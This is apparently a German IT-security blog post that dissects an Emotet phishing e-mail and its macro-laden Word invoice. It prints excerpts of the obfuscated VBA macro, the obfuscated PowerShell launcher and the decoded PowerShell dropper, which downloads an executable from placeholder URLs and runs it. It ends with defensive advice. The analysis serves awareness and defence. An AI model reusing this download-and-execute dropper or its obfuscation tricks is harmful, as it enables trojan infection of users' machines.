Das Schadsoftware über Word- und Office-Dokumente auf den eigenen Computer gelangen kann, ist mittlerweile bekannt. Doch wie genau findet eine solche Infektion statt? Wir haben eine aktuelle E-Mail an uns zum Anlass genommen, dies genauer zu analysieren.

Die verdächtige E-Mail mit dem Betreff “in Rechnung gestellt” enthielt nicht viel mehr als einen Link (geändert) auf eine vermeintliche Rechnung, die von uns zu zahlen wäre.

Dem geübten Auge fällt sofort auf, das dies keine vertrauenswürdige E-Mail ist und man den enthaltenen Link nicht anklicken sollte. Ist man sich nicht zu hundert Prozent sicher, empfiehlt sich eine kurze Überprüfung des Links bei VirusTotal (https://virustotal.com), einer Plattform zur Analyse von Schadsoftware in Dateien und Webseiten. Diese zeigt den oben genannten Link bereits als schadhaft und gefährlich an.

Dem Schadcode auf der Spur

Als erfahrener IT-Sicherheitsexperte packt einen zu diesem Zeitpunkt jedoch die Neugier. Beim Anklicken des Links wird, ein Word-Dokument “RECH-RYK8415144360672.doc” heruntergeladen. Nach dem Öffnen dieses Dokuments in Word erhält man eine Meldung, dass man Macros aktivieren soll, da das Dokument in einer früheren Version von Microsoft Office geschrieben wurde und daher angeblich nicht geöffnet werden kann. Word-Macros werden in der Regel verwendet, um Word um weitere Funktionen zu erweitern. Spätestens jetzt sollten die Alarm-Glocken läuten, da dies ein ungewöhnliches Verhalten für ein normales Word-Dokument ist.

Ein Blick in die Dokumentenstruktur zeigt mehrere Word-Macros. Die folgenden Macros springen jedoch durch ihre zufallsgenerierten Namen ins Auge:
$ ./oledump.py RECH-RYK8415144360672.doc
[...]
7: M 16975 'Macros/VBA/AnvspRWbQs'
8: m 1111 'Macros/VBA/MzjnOAfqAwLw'
[...]
15: M 4311 'Macros/VBA/lqAXZBtNSLpK'

Nach dem Öffnen der Macros fällt sofort auf, dass sie mit einer sogenannten Obfuskation versehen sind. Obfuskation (von engl. obfuscate „vernebeln“, „unklar machen“, „verwirren“) bedeutet, dass der Programmcode absichtlich so verändert wurde, dass er für einen Menschen schwer verständlich ist. Obfuskation wird häufig eingesetzt, um ein Zurückentwickeln der Software von unberechtigten Dritten zu erschweren. Jedoch bedient sich auch Schadsoftware dieser Technik, um eine Erkennung durch Virenscanner zu verhindern.

Die Zwiebel schälen

Um die Schadsoftware zu verstehen, muss zunächst die Obfuskation der Macros entschlüsselt werden.
[...]
Function OTRhwz()
On Error Resume Next
RjFRF = CByte(99965 * Tan(74284) / 95300 + CLng(qTRav * 80442 * 143 * Chr(23643)))
IRFbZ = (38961 / CBool(28868) + 71756 + CSng(XjisS) * (4376 - BTbGj + 16460 - CLng(qtHbvB)))
KuYKqhwP = "Hell" + " &" + Chr(40) + Chr(40) + "var" + "iabLE " + "'*MDr*'" + Chr(41) + ".Nam" + "E["
[...]

Auffällig ist, dass viele Zeilen innerhalb des Macros Fehler enthalten. Aufgrund der Anweisung “On Error Resume Next” werden diese Fehler jedoch ignoriert und die Zeilen übersprungen. Sie sind also lediglich dazu da, den Macro-Code unübersichtlicher zu machen. Nach dem Entfernen dieser Zeilen, kann der Macro-Code wesentlich einfacher analysiert werden.

Letztendlich setzen die verschiedenen Funktionen des Macro-Codes eine lange Zeichenkette zusammen:
PowersHell &((variabLE '*MDr*').NamE[3,11,2]-jOIn'')( ( '4M67 [...] 3B93'.sPLIT( 'iQA%Bw<MCL') |FoReAch {[ChaR] ($_ -bXoR "0x20" )} ) -joiN '' )

Diese Zeichenkette enthält wiederum einen obfuskierten Aufruf des Windows-Programms “powershell”. Die Verschachtelung von mehreren obfuskierten Aufrufen ist ein bei Schadsoftware häufig angewandtes Mittel, um die Erkennung durch Virenscanner zu erschweren.

Nach einer weiteren Analyse und der Entschlüsselung dieses Aufrufs, ist nun endlich der eigentliche Schadcode freigelegt:

$cTF=new-object Net.WebClient;
$TDh='http://example.com@http://example.org'.Split('@');
$vJh = '529';
$tif=$env:temp+'\'+$vJh+'.exe';
foreach($puP in $TDh) {
try {
$cTF.DownloadFile($puP, $tif);
Start-Process $tilf;
break;
} catch {}
}

Der oben angegebene Schadcode enthält eine Liste von Webseiten, von denen ein Trojaner heruntergeladen wird. Ist die Datei auf einer Webseite nicht mehr verfügbar, wird die nächste Webseite verwendet. Bei diesen Webseiten handelt es sich um gehackte Webseiten, die zur Auslieferung des Trojaners verwendet werden. Nach einem erfolgreichen Download des Trojaners wird dieser ausgeführt und die Infektion des Rechners ist komplett.

Beim Öffnen des Dokumentes und nach Aktivierung der Macro-Funktionen (!) werden nach und nach Befehle zusammengebaut, die letztendlich dazu führen, das ein Trojaner heruntergeladen und ausgeführt wird. In diesem speziellen Fall handelt es sich um den Emotet-Trojaner, der dazu entwickelt wurde, Daten des Online-Banking auszuspähen.

Wie kann man sich schützen?

Zum Schutz vor diesem Angriffsweg ist zunächst die Verwendung eines aktuellen Virenscanners zu empfehlen. Ist der entsprechende Schadcode bereits bekannt, kann dieser somit vor der Ausführung blockiert werden. Die hier analysierte Version wird jedoch aktuell nur von wenigen Virenscannern erkannt, wodurch ein Schutz nicht gewährleistet ist.

Insofern ist es wichtig so eine Infektion bereits vor dem Klick auf den schädlichen Link zu verhindern. Aus diesem Grund ist eine regelmäßige Sensibilisierung der Mitarbeiter durch Schulungen erforderlich. Denn dann könnte eine solche E-Mail als gefährlich erkannt werden. Die Wirksamkeit dieser Schulungen kann anschließend beispielsweise mit anonymen Phishing-Tests überprüft werden.